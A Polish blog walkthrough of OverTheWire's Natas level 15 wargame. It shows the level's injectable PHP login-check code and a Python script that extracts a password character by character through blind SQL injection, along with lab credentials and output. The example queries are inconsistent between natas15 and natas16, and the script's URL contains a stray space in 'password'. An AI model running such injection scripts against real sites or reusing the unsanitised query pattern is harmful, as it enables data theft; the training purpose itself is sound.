Wpis jest kontynuacją rozwiązań hackme Natas na OverTheWire. Rozwiązania etapu 14 można znaleźć tutaj.

Analiza

Używając hasła uzyskanego na poprzednim poziomie 15 logujemy się na poziom 16. Otrzymujemy formularz, który pozwala sprawdzić czy w bazie znajduje się użytkownik o zadanym loginie. Jest to kolejne zadanie, w którym wykorzystamy podatność typu SQL Injection, jednak tym razem w nieco innej formie.

Kod źródłowy:

<?

/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if (array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"" . $_REQUEST["username"] . "\"";
    if (array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }
    
    $res = mysql_query($query, $link);
    if ($res) {
        if (mysql_num_rows($res) > 0) {
            echo "This user exists.<br>";
        } else {
            echo "This user doesn't exist.<br>";
        }
    } else {
        echo "Error in query.<br>";
    }
    
    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?
}
?> 

Jak widzimy, logika jest zbliżona do tej, którą poznaliśmy na poprzednim poziomie. Zmieniono nieco treść zapytania do bazy:

$query = "SELECT * from users where username=\"" . $_REQUEST["username"] . "\"";

Dodatkowo, w żadnym miejscu kod nie ujawnia hasła do następnego poziomu. Jak zatem poznać prawidłowe hasło?

Rozwiązanie

Kluczem do poznania hasła jest połączenie dwóch faktów:

  • Mamy możliwość modyfikacji zapytania - wciąż brak kontroli nad danymi wpisanymi przez użytkownika
  • Dostajemy informację o tym, czy na nasze zapytanie baza danych zwróciła niezerową ilość rekordów

Możemy zatem badać hasło metodą prób i błędów. Pozwoli nam na to składnia SQL, dokładniej LIKE BINARY .

Krok 1

Pierwszym krokiem do uzyskania hasła będzie zmanipulowanie zapytania do następującej postaci:

SELECT * from users where username="natas15" AND password LIKE BINARY "...%"

Tak skonstruowane, zapytanie zwróci nam wszystkie rekordy gdzie username to natas15 i password rozpoczyna się zadanym ciągiem (tymczasowo w jego miejsce wstawiłem “…”). Słowo BINARY w zapytaniu oznacza wymuszenie porównania binarnego, czyli wrażliwego na wielkość znaków.

Zapytanie takie wyślemy wysyłając username:

natas16"  AND password LIKE BINARY "...%

Krok 2

Wiedząc jak należy konstruować zapytania zastanówmy się jak przeprowadzić atak. Na podstawie poprzednich zadań możemy wnioskować, że hasło to 32 znakowy ciąg alfanumeryczny. Opiszmy testowanie hasła algorytmem:

  1. Zdefiniujmy zbiór alfabet = “0123456789abcdefghijklmnoqprstuvwxyzABCDEFGHIJKLMNOQPRSTUVWXYZ”
  2. Zdefiniujmy ciąg hasło będący ciągiem pustym
  3. Iterujemy zbiór alfabet używając znak jako bieżącego znaku w iteracji: odpytujemy stronę z użyciem username = natas16" AND password LIKE BINARY "hasło+znak%
  4. Jeśli odpowiedź zawiera ciąg This user exists dopisz znak do hasło i ponów iterację. Powtarzaj 32 razy.

Poniżej proponowana implementacja w Pyhonie:

#!/usr/bin/python
import requests
import sys

chars = "0123456789abcdefghijklmnoqprstuvwxyzABCDEFGHIJKLMNOQPRSTUVWXYZ"
urlbase = 'http://natas15.natas.labs.overthewire.org/index.php?username=natas16" AND pass  word LIKE BINARY "'
passwd = ""
s = requests.Session()
s.auth = ("natas15", "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J")

if s.get(urlbase).status_code != 200:
        print "Server unreachable, exiting"
        sys.exit()
else:
        print "Server reached, starting blind SQL injection"

for i in range(32):
        for ch in chars:
                url = urlbase+passwd+ch+"%"
                r = s.get(url)
                if r.text.find("This user exists") != -1: 
                        passwd += str(ch)
                        print "passwd = "+passwd
                        continue

print "The password is: "+passwd

Skrypt wykorzystuje bibliotekę Requests do wykonywania zapytań. Po uruchomieniu skryptu uzyskamy następujący rezultat:

Server reached, starting blind SQL injection
passwd = W
passwd = Wa
passwd = WaI
passwd = WaIH
passwd = WaIHE
passwd = WaIHEa
passwd = WaIHEac
passwd = WaIHEacj
...
passwd = WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Metoda zastosowana w tym zadaniu nazywana jest Blind SQL Injection. Polega ona, jak zauważyliśmy badaniu binarnego stanu systemu powstałego na skutek zapytania do bazy danych. Dla nas stanem pozytywnym było wystąpienie This user exists w treści strony. Nie jest to ostatnie zadanie, które wymagać będzie od nas wykorzystania podobnych podatności.